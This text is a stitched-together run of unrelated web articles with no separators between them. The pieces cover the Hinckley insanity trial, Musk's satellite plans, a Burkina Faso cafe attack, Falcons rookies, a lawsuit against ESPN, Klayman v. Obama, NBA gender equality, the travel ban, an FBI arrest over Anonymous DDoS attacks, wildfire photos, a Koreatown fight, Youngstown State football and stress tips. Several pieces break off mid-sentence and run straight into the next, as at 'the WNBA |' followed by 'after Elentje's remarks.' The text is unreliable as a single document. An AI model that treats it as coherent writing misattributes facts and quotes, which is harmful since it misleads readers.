Bickle sends the character Iris a rescue letter." Then came a series of questions that caused Hinckley to stand and bolt through the courtroom door--pursued by federal marshals: "Now with respect to the individual John W. Hinckley, looking at him in the courtroom today, do you recall seeing him in person before today?"
"No."
"Did you ever respond to his letters?"
"No, I did not."
"Did you ever invite his approaches?"
"No."
"How would you describe your relationship with John Hinckley?"
"I don't have any relationship with John Hinckley." After Foster's videotaped testimony, the defense case continued with the introduction of tapes of brief phone conversations with Jodie Foster found in Hinckley's Washington hotel room. The tapes revealed a puzzled Foster trying to put a quick end to the call: "I can't carry on these conversations with people I don't know." The lead psychiatric expert for the defense was Dr. William Carpenter. One commentator described Carpenter as looking like "Father Time" with his gray beard and shoulder length hair. From forty-five hours of conversation with John Hinckley, Carpenter concluded the defendant suffered from schizophrenia. He saw Hinckley has having four major symptoms of mental illness: "an incapacity to have an ordinary emotional arousal," "autistic retreat from reality," depression including "suicidal features," and an inability to work or establish social bonds. According to Carpenter, Hinckley's lack of conviction about his identity led him to snatch fragments of personality from book and movie characters--such as Travis Bickle in Taxi Driver. As he played his guitar alone in dormitory and hotel rooms, Hinckley had come to think of himself as John Lennon--and thus was thrown into mental chaos by Lennon's sudden death. The monologue Hinckley recorded on New Year's Eve showed the depth of his confusion: John Lennon is dead. The world is over. Forget it. It's just gonna be insanity, if I even make it through the first few days.... I still regret having to go on with 1981... I don't know why people wanna live... John Lennon is dead... I still think-I still think about Jodie all the time. That's all I think about really. That, and John Lennon's death. They were sorta binded together... When Jack Hinckley refused to let their son come back home in 1981, John's last link to the real world was severed, Carpenter testified. At his low-rent hotel, Hinckley signed the guest register, "J. Travis." with normal moorings lost, Hinckley followed the "dictates from his inner world." He felt compelled to "rescue" Jodie Foster. According to Carpenter, "He feels like he is on a roller coaster, and cannot escape." Carpenter saw in the shooting of Reagan thoughts of suicide: "His state of mind during the time is depression, the need to terminate all of this, to have his own death." He noted that Hinckley "personalized" Reagan's wave--he thought it was a wave just to him, when it was actually intended for the crowd--, and said that seeing personalized messages in ordinary events was a classic symptom of mental illness. Carpenter ended three days of testimony by concluding that Hinckley could appreciate the wrongfulness of his act "intellectually," but not emotionally. To him, the President and the others he shot were just "bit players." So focused was he on achieving a "magical unification with Jodie Foster" that he didn't see the consequences of his action for his victims. Dr. David Bear joined in Carpenter's diagnosis of psychosis. He testified that Hinckley thought Travis Bickle was talking to him. He began to feel "like he was acting out a movie script." It was highly unlikely that Hinckley was faking illness, because those that do almost always report fake "positive" signs like hearing voices of having visions. Hinckley's signs were all "negative," like showing no emotion and jumping in his thought. Hinckley's shooting of the President, according to Bear, was "the very opposite of logic." Finally, Bear suggested that a CAT-scan of Hinckley showing widened sulci in his brain was "powerful" evidence of his schizophrenia: about one-third of schizophrenics have widened sulci, but only about 2% of the normal population. Dr. Ernest Prelinger, a Yale psychologist, testified concerning testing he performed on Hinckley. With an I. Q. of 113, Hinckley could be classified as "bright normal." But on the Minnesota Multiphasic Personality Inventory, Hinckley was near the peak of abnormality. According to Prelinger, only one person out a million with Hinckley's score would not be suffering from serious mental illness. A complete showing of the movie Taxi Driver closed the defense case. The prosecution, in its psychiatric evidence, attempted to shift the focus of the jury back to March 30, 1981. The government's lead expert, Dr. Park Dietz, put forward the diagnosis of the government's psychiatric team: Hinckley suffered from various personality disorders, but was not psychotic or insane. Essentially, Hinckley was a bored, spoiled, lazy, manipulative rich kid. The teams' report concluded: Mr. Hinckley's history is clearly indicative of a person who did not function in a usual reasonable manner. However, there is no evidence that he was so impaired that he could not appreciate the wrongfulness of his conduct or conform his conduct to the requirements of the law. Dietz had a contradictory interpretation of nearly every piece of a defense evidence. Hinckley's frequent flying showed an ability to make complex travel arrangements more than it did an insane obsession. His choice of Devestator bullets, his concealing of his handgun, and his timing of his assassination attempt showed planning. Hinckley imitated Travis Bickle much as would the fan of rock star--he didn't "absorb" his identity as the defense contended. Hinckley did not have an "obsession" with Foster, but only the sort of infatuation a young man might often have for a starlet. His bizarre writings were "fiction" that were "not that useful" in determining his mental state. Dietz testified that Hinckley viewed his actions on March 30 as successful. "It worked," Hinckley told Dietz in an interview. "You know, actually, I accomplished everything I was going for there. Actually, I should feel good because I accomplished everything on a grand scale....I didn't get any big thrill out of killing--I mean shooting--him. I did it for her sake....The movie isn't over yet." After the testimony of another psychiatric expert, Dr. Sally Johnson, who confirmed Dietz's basic findings, Adelman announced, "Your honor, the prosecution rests." Closing arguments contained moments of drama. Adelman, in the government's summation, strode back and forth in front of the jury with the actual gun used in the shootings as he shouted to the jurors, "This man shot down in the street James Brady, a bullet in his brain!" Defense attorney Vince Fuller's recounting of Hinckley's "pathetic" life left John crying at the defense table, his face in his hands, bent forward, and shaking. Judge Barrington Parker ended eight weeks of evidence and arguments by reading his instructions to the jury. Most importantly, Parker told the jurors that the prosecution had the burden of showing beyond a reasonable doubt that Hinckley was not insane: that on March 30, 1981 he could appreciate the wrongfulness of his actions. Parker did not tell the jury should reach its conclusion by focusing solely on Hinckley's intellectual awareness of the wrongfulness of his action, as the prosecution suggested, or by some broader notion that included emotional appreciation of wrongfulness. For over three days the jury deliberated Hinckley's fate. Finally, a verdict. Judge Parker asked the twenty-two year-old jury foreman to unseal the envelope containing the verdict and hand it to a clerk, who passed it to the judge. Parker read the verdict: "As to Count 1, Not Guilty by Reason of Insanity. As to Count 2, Not Guilty by Reason of Insanity." The reading continued, the same verdict for each of the thirteen counts. INSANITY DEFENSE REFORM IN THE TRIAL AFTERMATH Within a month of the Hinckley verdict, the House and Senate were holding hearings on the insanity defense. A measure proposed by Senator Arlen Specter shifted the burden of proof of insanity to the defense. President Reagan expressed his support for the measure with the comment, "If you start thinking about even a lot of your friends, you would have to say, 'Gee, if I had to prove they were sane, I would have a hard job.' " Joining Congress in shifting the burden of proof were a number of states. Within three years after the Hinckley verdict, two-thirds of the states placed the burden on the defense to prove insanity, while eight states adopted a separate verdict of "guilty but mentally ill," and one state (Utah) abolished the defense altogether. In addition to shifting the burden in insanity cases, Congress also narrowed the defense itself. Legislation passed in 1984 required the defendant to prove a "severe" mental disease and eliminated the "volitional" or "control"aspect of the insanity defense. After 1984, a federal defendant has had to prove that the "severe" mental disease made him "unable to appreciate the nature and quality or the wrongfulness of his acts." HINCKLEY AT ST. ELIZABETHS Following his acquittal, John Hinckley was transferred to St. Elizabeth's Hospital in Washington. He is entitled to his freedom once it is proved that he is no longer a threat, because of his mental illness, to himself or others. On December 17, 2003, a federal judge ruled that Hinckley was entitled to unsupervised visits with his parents. In 2007, a request for unsupervised visits extending as long as one month was denied. The judge based his denial not on any problems with prior visits (there were none), but because the hospital had not taken "the necessary steps" for such a "transition." In July 2016, Judge Paul Friedman concluded that John Hinckley no longer posed a serious risk to himself or others and ordered his release.
HINCKLEY TRIAL HOMEPAGENext venture by founder of electric car firm Tesla aims to bring internet coverage to the billions who do not have it
After shaking up the automotive world with his electric car venture, entrepreneur Elon Musk has set his sights skywards in a bid to bring the internet to the billions who still lack access.
Musk is working on an embryonic $1bn plan to launch 700 satellites that are less than half the size of the smallest communications models currently in use.
The Wall Street Journal reported that the owner of electric carmaker Tesla is working with Greg Wyler, a satellite industry veteran and former Google executive, whose company, WorldVu Satellites, owns a considerable amount of radio spectrum.
Musk’s other venture, SpaceX, could be used to launch the satellites into orbit. The pair are considering building a factory in Florida or Colorado to manufacture the 110kg satellites. Two people familiar with the matter said WorldVu hoped to make the satellites for under $1m each – considerably less than they are currently made for.
Wyler had been working with the Google-backed startup O3b Networks, and in June it was reported that the search giant planned to spend $1bn on 180 small, high-capacity satellites.
The first four satellites launched by O3b were beset by technical problems, and Wyler quit Google after a year to join forces with Musk. Wyler has left O3b but remained a significant shareholder, according to the Journal. Google declined to comment.
The venture would face considerable technical and regulatory hurdles, and SpaceX may not be ready to launch satellites until close to the end of this decade. O3b could face losing the rights to its radio spectrum by then.
Satellite ventures are notoriously expensive. About 15 years ago the telecommunications group Iridium spent $5bn putting 66 satellites into orbit before collapsing into bankruptcy. The company aimed to create a telecommunications system that would allow users of handheld phones to make calls from anywhere on earth. However, just 55,000 customers were willing to spend $3,000 for a phone and pay $7 a minute for calls and a US judge ordered the firm wound up.
Other, less expensive ways of bringing internet access to remote areas are being considered. Facebook has a team working on solar-powered drones that would fly at a height of 20,000 metres – around the same height that Google has proposed placing balloons with a similar aim.(CNN) Security forces in Burkina Faso have ended an operation against terrorists who attacked a Turkish cafe in the capital Ouagadougou Sunday that left 18 dead including two attackers, the communications minister Remis Dandjinou said Monday.
In a press briefing he said searches of the neighborhood around the restaurant were still continuing. Dandjinou said there were several nationalities among the victims.
Burkina Faso police and army forces patrol the steets on August 13, 2017 after gunmen attacked a cafe in the capital.
The assault on the terrace of the Aziz Istanbul restaurant in the center of the West African city began around 9 p.m. local time Sunday (5 p.m. ET).
The attackers barricaded themselves in the restaurant on Avenue Kwame Nkrumah in the center of the city, state media RTB reports, citing authorities. The operation by security forces ended at 5 a.m. (1 a.m. ET) Monday morning.
Prosecutor Maiza Sereme told reporters Monday that the two young male assailants had arrived at the cafe on a motorcycle, armed with AK-47 assault rifles.
Read More*1. Will Sean Harlow make a run for the starting right guard job? *
The Falcons drafted guard Sean Harlow out of Oregon State in the fourth round. After Chris Chester’s retirement this offseason, Atlanta has an opening in their starting lineup at right guard. Harlow will compete with Wes Schweitzer and Ben Garland for the spot.
2. How will the Falcons feature Damontae Kaze?
Damontae Kazee played cornerback primarily at San Diego State, but head coach Dan Quinn said the team will use this time period to figure out where to feature him best.
“We’re excited to add him to the mix, is it going to be nickel, safety, corner,” Quinn said of Kazee. “It’s ours to figure it out and get to know him as well as we can from the time he arrives and through training camp and find the things that he does best.”
3. Takk Update
Atlanta’s first-round draft pick, Takk McKinley, underwent shoulder surgery this March. McKinley will be in attendance at rookie minicamp this weekend and we’ll get an update regarding what to expect of his level of participation over the next couple of months.
4. Which college free agent will shine?
Last year, cornerback Brian Poole shined during Atlanta’s rookie minicamp and went on to make the team and ended up starting nine games for the Falcons. Who will shine this weekend?
5. All eyes on Duke
For the second consecutive year, Atlanta selected another linebacker from LSU in Duke Riley. In 2016, the Falcons drafted Deion Jones who ended up leading the team in tackles, earning a spot in the Defensive Rookie of the Year conversation.Brad Penner-USA TODAY Sports
On Thursday, a judge denied a motion filed by ESPN and reporter Adam Schefter to dismiss an invasion-of-privacy lawsuit brought against them by New York Giants defensive end Jason Pierre-Paul.
According to Sports Illustrated's Michael McCann, U.S. District Judge Marcia Cooke denied the motion via a bench ruling.
Pierre-Paul's lawsuit stems from a tweet Schefter sent in July 2015 that featured the defensive end's medical chart after he was involved in a July 4 fireworks accident that resulted in his right index finger being amputated:
According to the New York Daily News' Michael O'Keeffe and Ginger Adams Otis, Schefter and ESPN tried to have the suit dismissed on the basis of First Amendment protections.
"Today's ruling is a recognition of Jason's right, as a professional athlete, to oppose the publication of his medical records without his consent," Pierre-Paul's attorney, Mitchell Schuster, said in a statement.
Now that the motion has been dismissed, the case can go to trial. However, McCann cautioned that such a course of action is "unlikely to occur."
"Chances are ESPN will offer Pierre-Paul a substantial amount of money to end the litigation through a settlement," McCann wrote.
McCann added that based on precedent, a settlement in the seven-figure ballpark "seems like a safe bet" since ESPN has the financial resources to pay it.
In February, the Miami Herald's Daniel Chang reported an operating-room nurse and a secretary were fired "for accessing the information in violation of federal patient-privacy laws."
Chang also reported Jackson Memorial Hospital settled a lawsuit that stemmed from the violation of Pierre-Paul's privacy.Klayman v. Obama United States District Court for the District of Columbia Date decided December 16, 2013 Judge sitting Richard J. Leon Defendant(s) Klayman I: Verizon Communications, President Barack Obama, NSA director (General Keith B. Alexander), Attorney General Eric Holder, Jr., US District Judge Roger Vinson; Klayman II: Facebook, Yahoo!, Google, Microsoft, YouTube, AOL, PalTalk, Skype, Sprint, AT&T, Apple and the same government defendants as in Klayman I
Klayman v. Obama was an American federal court case concerning the legality of the bulk collection of both phone and Internet metadata by the United States.
Background [ edit ]
Ongoing news reports in the international media have revealed operational details about the United States' National Security Agency (NSA) and its international partners' global surveillance[1] of foreign nationals and American citizens. The reports emanate from a cache of top secret documents leaked by the former NSA contractor Edward Snowden. On June 6, 2013, the first of Snowden's documents were published simultaneously by The Washington Post and The Guardian, attracting considerable public attention.[2] Shortly after the disclosure, plaintiffs Larry Klayman, founder of Freedom Watch, Charles Strange and Mary Strange, parents of Michael Strange, a cryptologist technician for the NSA and support personnel for Navy Seal Team VI who was killed in Afghanistan, filed lawsuit challenging the constitutionality of the bulk metadata collection of phone records (Klayman I).
Filing [ edit ]
In Klayman I, the plaintiffs, subscribers of Verizon Wireless, brought suit against the NSA, the Department of Justice, Verizon Communications, President Barack Obama, Eric Holder, the United States Attorney General, and General Keith B. Alexander, the Director of the National Security Agency.[3] The plaintiffs alleged that the government is conducting a "secret and illegal government scheme to intercept vast quantities of domestic telephonic communications" and that the program violates First, Fourth and Fifth Amendment and exceeds statutory authority granted by Section 215.[3] In Klayman II, the plaintiffs sued the same government defendants and in addition, Facebook, Yahoo!, Google, Microsoft, YouTube, AOL, PalTalk, Skype, Sprint, AT&T, Apple again alleging the bulk metadata collection violates the First, Fourth and Fifth Amendment and constitutes divulgence of communication records in violation of Section 2702 of Stored Communications Act.[4]
Ruling [ edit ]
On December 16, 2013, U.S. Federal Judge Richard J. Leon ruled that bulk collection of American telephone metadata likely violates the Fourth Amendment. The judge wrote,
I cannot imagine a more 'indiscriminate' and 'arbitrary' invasion than this systematic and high-tech collection and retention of personal data on virtually every single citizen for purposes of querying and analyzing it without prior judicial approval... Surely, such a program infringes on 'that degree of privacy' that the founders enshrined in the Fourth Amendment.[5]
Leon, the first judge to examine an NSA program outside of the secret FISA court on behalf of a non-criminal defendant, described the technology used as "almost Orwellian", referring to the George Orwell novel Nineteen Eighty-Four, in which the world has come under omnipresent government surveillance. In the 68-page ruling, Leon said that he had "serious doubts about the efficacy" of the program.[6] The U.S. government was unable to cite "a single instance in which analysis of the NSA's bulk metadata collection actually stopped an imminent attack, or otherwise aided the government in achieving any objective that was time-sensitive."
The judge ruled that a 1979 case, Smith v. Maryland, which established that phone metadata is not subject to the Fourth Amendment, did not apply to the NSA program as the U.S. Justice Department had argued. He termed the use of telephony metadata in Smith v. Maryland as short-term forward looking capture and that of NSA as long-term historical retrospective analysis. Citing the NSA's vast scope and "the evolving role of phones and technology', Judge Leon's opinion pointed out that the Fourth Amendment needs to adapt to the digital age.[7] Judge Leon stayed the ruling, giving the U.S. government six months to appeal.[8]
Rationale [ edit ]
In its analysis the court found that plaintiffs had standing to challenge the bulk telephony metadata program since their fear of being surveilled was not merely speculative. Being customers of Verizon[9][10] their data was being collected by NSA as evidenced by the leaked FISC order that orders Verizon to provide on an ongoing daily basis, its business records to NSA.[11] Although the court did not find any evidence that plaintiff's data was being analyzed or any evidence of their allegation that government is behind the inexplicable phone calls and text messages sent to and received from their phone numbers,[9][10] Judge Leon declared that he had reason to believe that everyone's metadata is being analyzed, because of the way the querying process works. He argued that for a foreign phone number for which NSA possibly hasn't collected any metadata, there is no way to query what numbers it has contacted other than to match it against every phone number in the database.[6] He wrote,
Because the Government can use daily metadata collection to engage in repetitive, surreptitious surveillance of a citizen's private goings on, the NSA database implicates the Fourth Amendment each time a government official monitors it.[6]
Plaintiffs did not establish standing to challenge the PRISM program which primarily targets Internet communications of non-US citizens believed to be located outside of US. The plaintiffs did not provide any evidence that being US citizens their Internet communications were being surveilled nor did they allege that they communicate with anyone outside of US.[6][12] Moreover, the government had discontinued the Internet metadata collection since 2011, so the court didn't consider the legality of the program further.[6]
Reactions [ edit ]
On the ruling, The Washington Post printed: "NSA officials... now stand accused of presiding over a program whose capabilities were deemed by the judge to be 'Orwellian' and likely illegal."[13][14]
Edward Snowden issued a statement in response to the ruling, saying in part:
I acted on my belief that the NSA's mass surveillance programs would not withstand a constitutional challenge, and that the American public deserved a chance to see these issues determined by open courts. Today, a secret program authorized by a secret court was, when exposed to the light of day, found to violate Americans' rights. It is the first of many.[15]
Case developments [ edit ]
In 2015, the D.C. Circuit Court of Appeals vacated the injunction and held that the plaintiffs failed to meet the heightened burden of proof regarding standing required for preliminary injunctions.[16] The case was remanded back to the district court. Later in 2015, the district court enjoined the NSA from collecting data about Klayman's client, a California lawyer who had recently been added to the lawsuit, but the D.C. Circuit court stayed enforcement of the injunction.[17]
In 2017, Judge Richard Leon dismissed the suit against the government because Klayman had failed to establish that he or his client had standing.[18] In 2019, the D.C. Circuit affirmed the dismissal.
See also [ edit ]Q&A with Sheryl Sandberg, NBA commissioner Adam Silver on gender equality
Amin Elhassan explains why he believes Spurs assistant coach Becky Hammon has the best chance to the first female head coach in NBA history. NEXT VIDEO
Commissioner Adam Silver not only believes there will someday be a female head coach in the NBA -- he wants to make it happen soon.
With Becky Hammon choosing to remain with the San Antonio Spurs as an assistant, turning down the University of Florida's women's head coaching job, as sources confirmed to ESPN's Michael C. Wright, Silver would love nothing more than to see the NBA have a female head coach in the league in the near future. He also wants to see more women officiating in the NBA, starting as soon as next season.
Gender equality has become a focus for Silver after teaming up with Facebook chief operating officer and LeanIn.org founder Sheryl Sandberg three years ago. On Tuesday, the NBA and LeanIn.org launched a gender equality public awareness campaign with a PSA and videos featuring Toronto's Kyle Lowry, New Orleans' Jrue Holiday and Phoenix's Devin Booker, highlighting the role that men play in achieving gender equality. The campaign also encourages fans and other players to share personal stories on social media using #LeanInTogether.
In a Q&A with ESPN, Silver, Sandberg and Kathleen Behrens, NBA president of social responsibility and player programs, discussed recruiting more women for front-office, coaching and officiating jobs in the NBA.
ESPN: How is the NBA helping LeanIn.org with gender equality in this third campaign?
Sheryl Sandberg: We are so lucky to have the NBA supporting us. So "Lean In," at its core, is about gender equality in a world where women and men get the opportunities to do what they are great at, whether it is at home or at work, and not be held to narrow gender stereotypes. That means women taking more leadership roles, women playing professional sports like in the WNBA; it means men doing their share to be equal partners in their homes and raise their daughters to want leadership roles.
We know that the only way to achieve equality is if both men and women want to achieve equality. We also know that equality is not just the right thing to do for men, it is a good thing to do.
If you are a man, whether you are a CEO like Adam or the most junior entry-level position, you are going to perform better because you work better with half the population. And if you are a husband to a woman and you do more of the childcare, it helps [make] your marriage stronger, you have more sex, your divorce rate is lower. And as a father, children with more active fathers at every income level do better in school, better professionally, higher emotional involvement, higher levels of happiness.
It is just a win-win across the board. So we want to reach men and make the case that equality is something important for them.
Our dream was to work with the NBA because the NBA is where men and women all over the world look up to these men -- not as athletes but as role models. The NBA, under Adam's leadership, has such a strong track record of supporting the right things that matter. They are the only league running the WNBA |
after Elentje’s remarks.
Trump earlier today told reporters at the White House that the battle over the order, which put a 90-day halt on citizens from Iran, Iraq, Sudan, Syria, Libya, Somalia and Yemen from entering the U.S, could go all the way to the currently ideologically deadlocked Supreme Court
On February 3, a day after Washington state and Minnesota filed an amended complaint against Trump’s E.O., Seattle-based federal Judge James Robart issued a nationwide TRO on the then week-old order. Since then, nearly 100 tech companies like Netflix, Google and Apple have publicly come out against the ban, saying it “threatens companies’ ability to attract talent, business, and investment to the United States.” More than a dozen states including New York, California, Illinois and Virginia plus the District of Columbia filed briefs on February 6 in support of Washington state and Minnesota’s anti-ban position. As has become the norm in this abnormal administration, President Trump took to social media repeatedly and slammed “the so-called judge.”
Signed on January 27 by Trump with great fanfare but seemingly little foresight of the fallout that would almost immediately ensue, the Executive Order reportedly took most of the government by surprise as well as lead to detentions and protest at airports nationwide and lawsuits within hours. There was also political chaos and high profile firing of the Acting Attorney General when Obama appointee Sally Yates told DOJ lawyers not to defend the travel ban.
Today in testimony on Capitol Hill, Homeland Security Secretary John Kelly admitted he wished his department had been given more time to determine who and how the action would effect and discuss the matter with Congress – and it is his department that is ultimately responsible for the travel ban. In an effort to distract attention from the White House and his POTUS boss, Kelly told members of Congress that “this is all on me.”
Deadline’s Erik Pedersen contributed to this reportA journalism student at the University of Nevada at Las Vegas who used the online alias “No” and “MMMM” faces 15 years in prison and $500,000 in fines if she is convicted of hacking charges related to the group “Anonymous.”
The Rebel Yell reported that the FBI arrested 20-year-old Mercedes Renee Haefer last week for allegedly participating in distributed denial of service (DDoS) attacks against PayPal’s website.
In a campaign known as “Operation Payback,” members of “Anonymous” succeeded in taking down the online operations of PayPal, MasterCard Worldwide, Visa, Swiss bank PostFinance and others after the companies dropped their financial services to WikiLeaks.
According to an FBI affidavit obtained by The Smoking Gun, federal agents launched an investigation into the attacks against PayPal in early December, after the company contacted the agency. PayPal provided the FBI with eight Internet protocol (IP) addresses that were hosting an Internet relay chat (IRC) site used by “Operation Payback” to organize attacks.
The DDoS attacks against PayPal violated federal laws against “unauthorized and knowing transmission of code or commands resulting in intentional damage to a protected computer system,” according to the FBI. The attacks flood websites with meaningless web traffic to slow them down and can sometimes knock websites offline entirely.
Haefer was one of 14 individuals arrested nationwide for participating in the attacks against PayPal. She faces a charge of conspiracy to “commit Intentional Damage to a Protected Computer” and for alleged damage caused by the attack.
In all FBI agents made 35 raids across the US as part of a probe into “coordinated cyber attacks against major companies and organizations,” the FBI said, adding that to date more than 75 searches have been carried out.
Anonymous, an international hackers group, rose to fame with a series of attacks on websites linked to the Church of Scientology.
The group gained further prominence after launching retaliatory attacks on companies perceived to be enemies of the whistle-blowing website Wikileaks.
Anonymous sabotaged Turkish sites also last month to protest against Internet censorship.
After the December attacks US federal investigators followed a trail to Europe, Canada and back to the United States as they hunted down hackers who targeted “perceived corporate enemies of WikiLeaks.”
The FBI traced Internet protocol addresses for the hackers to Canada and then back to California where a virtual server that was assigned one of the IP addresses used to launch the attacks was housed, media reports said.
A separate German probe into the pro-WikiLeaks attacks found that other commands to launch denial of service attacks on PayPal had come from an IP address assigned to a Texas-based company that hosts servers.
The FBI stressed that the arrests were part of an “ongoing” investigation.
“Today’s operational activities were done in coordination with the Metropolitan Police Service in the United Kingdom and the Dutch National Police Agency,” said the US statement.
“The FBI thanks the multiple international, federal and domestic law enforcement agencies who continue to support these operations,” it said.
With AFP.“the way to create art is to burn and destroy
ordinary concepts and to substitute them
with new truths that run down from the top of the head
and out of the heart” -Charles Bukowski Those of us living on the west coast of the United States have been experiencing a pretty severe drought this year, with many places — including California — having had this last for many years. Have a listen to Josh Ritter sing about one of the inevitable consequences of drought, Wildfires: while you consider the fact that prolonged droughts, when accompanied by long, hot summers, often lead to easily flammable terrain. And that’s when the aforementioned disaster — wildfires — tend to be at their worst.
Images credit: Stuart Palley, from his instagram feed at https://instagram.com/stuartpalley/.
Fire is one of those strange destructive processes that captivates and awes us even as it incinerates what’s before us. There’s a unique beauty that accompanies the horror that it brings, and one of the most elegant and humanitarian things that we do is band together to fight it when it goes out-of-control and threatens our lives, homes and livelihoods. Images credit: Stuart Palley, from his instagram feed at https://instagram.com/stuartpalley/. This has gone on for years, but all of the photos below are from this year alone: the (current) 2015 wildfire season in California. Thanks to the power of long-exposure photography, Stuart Palley has been able to document this destruction in a new and unique way, as well as the efforts of the brave men and women who work to fight, contain and extinguish these fires.
Images credit: Stuart Palley, from his instagram feed at https://instagram.com/stuartpalley/.
In a fascinating interview with TIME last month, Stuart talked about how he got into this type of photography, why it’s so important, and how it helps people viscerally understand a phenomenon whose effects are often hard to truly feel. Drought can be difficult to visualize but frequent wildfire is its most acute effect, so the images are about creating a visual record of wildfire. I want to show the public how the drought is causing these fires to burn intensely. Maybe the images pique their interest in wild land fire, and they go learn more on their own. If a homeowner clears defensible space or conserves water after looking at my work, then the project is a success.
Images credit: Stuart Palley, from his instagram feed at https://instagram.com/stuartpalley/.
The project originally started as a reaction against tired and cliché coverage of wildfire. News stations simply zoom in on the biggest flame and focus on the aircraft dropping flame retardant, and that’s what everyone sees. There’s an eerie beauty to the fires burning, and at the end of the day, it’s a natural process that I want to show. Perhaps I can create some order out of chaos.
Images credit: Stuart Palley, from his instagram feed at https://instagram.com/stuartpalley/.
The story of these wildfires is a remarkable and sad one, where a confluence of circumstances results in prime conditions for devastation: The prolonged drought results in moisture levels in the soil and the trees being far lower than what they like, ideally.
The reduced moisture means that sap levels in the trees are lower.
The lowered sap levels make them unable to fight off bark beetles, which can dry out and even kill the trees, turning them into kindling for wildfires.
This makes them all the more likely to go up in flames, particularly when the temperatures reach triple digits and the humidity drops into the single digits.
Images credit: Stuart Palley, from his instagram feed at https://instagram.com/stuartpalley/.KOREATOWN (CBSLA.com) — A confrontation between a driver and a group of bicyclists was caught on video in Koreatown.
The incident happened at about 10:30 p.m. Thursday near 6th Street and Hobart in Koreatown. A bystander captured the confrontation with a cell phone camera.
Witnesses say a group of bicyclists – including children – were on a night ride through the area and were lawfully going through an intersection. They continued through the intersection even when their light turned red, but other drivers were giving them the right away, according to witnesses – except one.
The driver of a white BMW sedan apparently became impatient and began inching through the intersection and hit one of the cyclists, according to a LAPD watch commander. The cyclists thought he was trying to leave the scene, and a shouting match erupted.
Video shows at least two cyclists yanking a man out of his car and wrestling him to the ground. With his arms behind his back, the driver was kept on the ground by a cyclist who sat on his back until police arrived.
Witness Brandon Pak said the BMW ran over the leg of one of the cyclists, prompting the ambulance.
The driver was later seen in handcuffs, but it’s not clear if he was actually arrested.
The extent of the bicyclist’s injuries was not known.By Joe Scalzo
[email protected]
YOUNGSTOWN
Youngstown State president Jim Tressel once tried to recruit Bo Pelini.
He spent several years coaching against Pelini.
But, he admits, he didn’t know Pelini.
“I knew him from a distance,” he said. “But I was impressed with what I had seen.”
So when Pelini emerged as a candidate for YSU’s head coaching job, Tressel made a call to someone who could give an honest evaluation: former Nebraska football coach Tom Osborne, who served as Pelini’s athletic director from 2007-13.
“Tom is a friend and I knew he would be very open with me in terms of pluses and minuses,” Tressel said. “He’s a big fan of Bo Pelini.
“Of course, Bo isn’t perfect — and I haven’t met a perfect guy yet — but he felt that he had grown in his time at Nebraska. It’s not an easy job knowing you have to replace Tom Osborne, whether you’re one or two or three coaches removed.
“Everyone there is still measured by Tom Osborne.”
The same is true of YSU, where Tressel’s two predecessors, Jon Heacock and Eric Wolford, combined to make the playoffs just once in 14 seasons. Tressel made the playoffs 10 times between 1987-2000, winning four national titles and playing for two others.
Since then, Appalachian State (which won three straight titles from 2005-07 and now competes in the FBS) and North Dakota State (which just won its fourth straight title) have spent time atop the FCS.
“It’s tougher now than it was then,” Tressel said of the FCS. “Not that it was easy then, but our league is extremely strong. The competition nationally is extremely strong.
“We [had] two people from our conference in the national championship [NDSU and Illinois State] and we [were not] one of them, so that tells you this league is pretty good.”
Pelini agreed, calling the Missouri Valley a “hell of a conference.”
“They play really good football in this conference,” Pelini said. “Those schools do a heck of a job. I have a lot of respect for the football played at this level. It doesn’t get the hype the BCS schools get but there’s a lot of good football players and a lot of good coaching. It’s a heck of a challenge.”
Since being hired as YSU’s president in the summer, Tressel has kept a low profile when it comes to athletics. He attended the home football games and served as a consultant during the coaching search, but said he’s focused on other things.
“I’ve actually talked to Bo twice — once when he came here [to interview] and once shortly before or after Christmas,” Tressel said. “He’s a very inquisitive guy and I would love to sit and talk with him for hours, but I don’t have hours and neither does he.
“It’s not unlike when Eric was here. Once in a great while, he’d say, ‘Hey, I’m facing this situation and what are your thoughts?’ We’d spend a minute or two on the phone. I hope I can provide that for Bo. But as you know, coaches don’t really have a bunch of idle time and presidents are kind of busy, too.”
A 2012 report in the National Bureau for Economic Research found that football success increases alumni donations (particularly to athletics) and helps a school’s academic reputation, as well as the quality and quantity of applicants.
With YSU facing decreasing enrollment, a playoff-level football team could be a good advertisement for the university.
“I’ve always been a big believer that every single thing you decide to do can be a great contributor the overall situation and the community,” Tressel said. “I love the spirit that the arts bring to a college community and I happen to think athletics is one of the arts, like music or theater or art itself. I think athletics are tremendously important to our community and our Valley and our university, and there’s obviously a lot of excitement about Bo’s hiring.”Stress is defined by Merriam Webster as a state of mental or emotional strain or tension resulting from adverse or very demanding circumstances.
Stress when left unchecked can lead to many problems that are harmful to your body. According to the Mayo Clinic, “stress symptoms cannot only affect your body, but also your thoughts, feelings, and your behavior. But being able to recognize common stress symptoms can help you manage them therefore minimizing or eliminating any potential stress related issues that may lead to health problems, such as heart disease, high blood pressure, obesity and, in some cases, diabetes.”
Here are common effects of stress on your body, mood, and behavior according to the Mayo Clinic:
Common effects of stress on your body
Headache
Muscle tension or pain
Chest pain
Fatigue
Change in sex drive
Stomach upset
Sleep problems
Common effects of stress on your mood
Anxiety
Restlessness
Lack of motivation or focus
Feeling overwhelmed
Irritability or anger
Sadness or depression
Common effects of stress on your behavior
Overeating or undereating
Angry outbursts
Drug or alcohol abuse
Tobacco use
Social withdrawal
Exercising less often
If you notice these effects then you may be stressed which may cause unnecessary harm to your body.
Here are some ways to minimize the effects of stress:
1. Talk to someone.
Talking to someone about your feelings can be helpful; it can assist you in releasing pent-up tension and anxiety or help you become distracted from the stressful thoughts that are intruding your mind.
Often stress clouds your judgement and prevents you from seeing things clearly. But by discussing things with your peers – friends, coworkers, or even a therapist – you can find solutions to minimize your stress and put your issues into perspective.
2. Learn to say no.
Helping others is sometimes good and can sometimes help with stress. But when you start becoming a yes man or woman – saying yes to situations just to avoid rejection and loneliness despite its harm to your life – it can be bad. Our time is limited; when you have much to do but little time, you become frantic. And by adding additional responsibilities not necessary to your wellbeing, you can further limit your you time.
By learning to say “NO” to additional or unimportant requests it can help to reduce your level of stress.
3. Engage in physical activity.
Stressful situations increase the level of stress hormones such as adrenaline and cortisol in your body.
These hormones are attributed to “fight or flight”, but in the modern age it is rarely needed. It can be remedied by physical exercise which can can be used as a surrogate to metabolize the excessive stress hormones therefore restoring your body and mind to a calmer and a more relaxed state.
But you may say you don’t have enough time, well, yes you do, you just have to prioritize your time. When you feel stressed and tense, go for a brisk walk in fresh air. Attempt to incorporate some regular physical activity into your daily routine on a regular basis, either before or after work, or at lunchtime. Regular physical activity will help improve the quality of your sleep.
4. Get more sleep.
